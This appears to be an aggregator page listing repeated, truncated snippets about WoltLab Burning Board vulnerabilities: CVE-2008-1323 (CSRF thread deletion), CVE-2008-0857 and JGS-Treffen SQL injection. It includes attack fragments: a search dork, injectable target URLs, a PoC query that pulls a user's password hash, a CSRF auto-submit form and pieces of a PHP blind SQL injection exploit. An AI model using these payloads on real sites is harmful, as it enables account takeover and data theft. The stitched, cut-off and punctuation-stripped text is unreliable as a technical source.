Woltlab Burning Board Addon JGS-Treffen SQL Injection Vulnerability

Exploit for unknown platform in category web applications =================================================================== Woltlab Burning Board Addon JGS-Treffen SQL Injection Vulnerability =================================================================== Woltlab Burning Board Addon...

Woltlab Burning Board Addon JGS-Treffen 2.0.2 - SQL Injection

Woltlab Burning Board Addon JGS-Treffen SQL Injection Bug by: h0yt3r Dork: inurl:jgstreffen.php There is a bug in jgstreffen.php 2.0.2 and lower. It's already fixed in newer Versions... SQL Injection: http://target/path/jgstreffen.php?action=ansicht&viewid=SQL PoC:...

Woltlab Burning Board Addon JGS-Treffen 2.0.2 - SQL Injection

Woltlab Burning Board Addon JGS-Treffen 2.0.2 - SQL Injection Woltlab Burning Board Addon JGS-Treffen SQL Injection Bug by: h0yt3r Dork: inurl:jgstreffen.php There is a bug in jgstreffen.php 2.0.2 and lower. It's already fixed in newer Versions... SQL Injection:...

Cross site request forgery (csrf)

Cross-site request forgery CSRF vulnerability in index.php in WoltLab Burning Board Lite wBB 2 Beta 1 allows remote attackers to delete threads as other users via the ThreadDelete action...

CVE-2008-1323

Cross-site request forgery CSRF vulnerability in index.php in WoltLab Burning Board Lite wBB 2 Beta 1 allows remote attackers to delete threads as other users via the ThreadDelete action...

CVE-2008-1323

Cross-site request forgery CSRF vulnerability in index.php in WoltLab Burning Board Lite wBB 2 Beta 1 allows remote attackers to delete threads as other users via the ThreadDelete action...

CVE-2008-1323

The CVE-2008-1323 entry documents a CSRF vulnerability in WoltLab Burning Board Lite (wBB) 2 Beta 1, where index.php’s ThreadDelete action can be abused by an attacker to delete threads as other users. This is triggered via forged requests, enabling unauthorized modification of data (thread delet...

woltlab-csrf.txt

WoltLab Burning Board Lite 2 Beta 1 Thread Delete CSRF Vulnerability Vendor: woltlab.de Version: Lite 2 Beta 1 Released: March 6 2008 Bug found by NBBN on March 8 2008 ::Example ::Fix No codefix...

WoltLab Burning Board Lite 2 Beta 1 Thread Delete CSRF Vulnerability

WoltLab Burning Board Lite 2 Beta 1 Thread Delete CSRF Vulnerability Vendor: woltlab.de Version: Lite 2 Beta 1 Released: March 6 2008 Bug found by NBBN on March 8 2008 ::Example htmlhead/headbody onLoad="javascript:document.attack.submit" form action="http://site.tld/wbblite/index.php"...

CVE-2008-0857

SQL injection vulnerability in index.php in WoltLab Burning Board 3.0.3 PL 1 allows remote attackers to execute arbitrary SQL commands via the sortOrder parameter to the PMList page...

Sql injection

SQL injection vulnerability in index.php in WoltLab Burning Board 3.0.3 PL 1 allows remote attackers to execute arbitrary SQL commands via the sortOrder parameter to the PMList page...

Woltlab Burning Board 3.0.x Remote Blind SQL Injection Exploit

No description provided by source. ?php iniset"maxexecutiontime",0; echo "WoltLab Burning Board 3.0.X Remote SQL-Injection Exploit by NBBN\n"; start1, 48; / You have to edit this script. / / Works succesfully at 3.0.1. If you enter in 3.0.3 PL1:...

CVE-2008-0857

SQL injection vulnerability in index.php in WoltLab Burning Board 3.0.3 PL 1 allows remote attackers to execute arbitrary SQL commands via the sortOrder parameter to the PMList page...

CVE-2008-0857

This entry covers CVE-2008-0857: a SQL injection in WoltLab Burning Board 3.0.3 PL 1’s index.php, exploitable through the sortOrder parameter on the PMList page. The underlying flaw is an injectable SQL command path in the application’s handling of that parameter, allowing remote attackers to imp...

wbb-blindsql.txt

$char,BENCHMARK3000000,MD523,1"; // Edit 3000000 if the stuff doesn't work or taking long times. / Place here youre autologin cookie / $cookie = "wcfcookieHash=; wcfboardLastActivityTime=; wcfuserID=; wcfpassword=;"; $starttime = time; $connection = fsockopen$host, 80; fputs$connection, "GET:...

WoltLab Burning Board 3.0.3 PL1 SQL-Injection Vulnerability

WoltLab Burning Board 3.0.3 PL1 SQL Injection Vulnerability by NBBN Vendor: http://woltlab.de ::Proof of Concept http://site.tld/wbb3/index.php?page=PMList&folderID=0&pageNo=1&sortField=isViewed&sortOrder=ASC, SELECT password FROM wcf1user WHERE userID=1 AND...

Woltlab Burning Board 3.0.x - Blind SQL Injection

Woltlab Burning Board 3.0.x - Blind SQL Injection $char,BENCHMARK3000000,MD523,1"; // Edit 3000000 if the stuff doesn't work or taking long times. / Place here youre autologin cookie / $cookie = "wcfcookieHash=; wcfboardLastActivityTime=; wcfuserID=; wcfpassword=;"; $starttime = time; $connection...

woltlab303-sql.txt

WoltLab Burning Board 3.0.3 PL1 SQL Injection Vulnerability by NBBN Vendor: http://woltlab.de ::Proof of Concept http://site.tld/wbb3/index.php?page=PMList&folderID=0&pageNo=1&sortField=isViewed&sortOrder=ASC, SELECT password FROM wcf1user WHERE userID=1 AND...

Woltlab Burning Board 3.0.x - Blind SQL Injection

$char,BENCHMARK3000000,MD523,1"; // Edit 3000000 if the stuff doesn't work or taking long times. / Place here youre autologin cookie / $cookie = "wcfcookieHash=; wcfboardLastActivityTime=; wcfuserID=; wcfpassword=;"; $starttime = time; $connection = fsockopen$host, 80; fputs$connection, "GET:...

Woltlab Burning Board 3.0.x Remote Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ============================================================== Woltlab Burning Board 3.0.x Remote Blind SQL Injection Exploit ============================================================== $char,BENCHMARK3000000,MD523,1"; // Edit 3000000 i...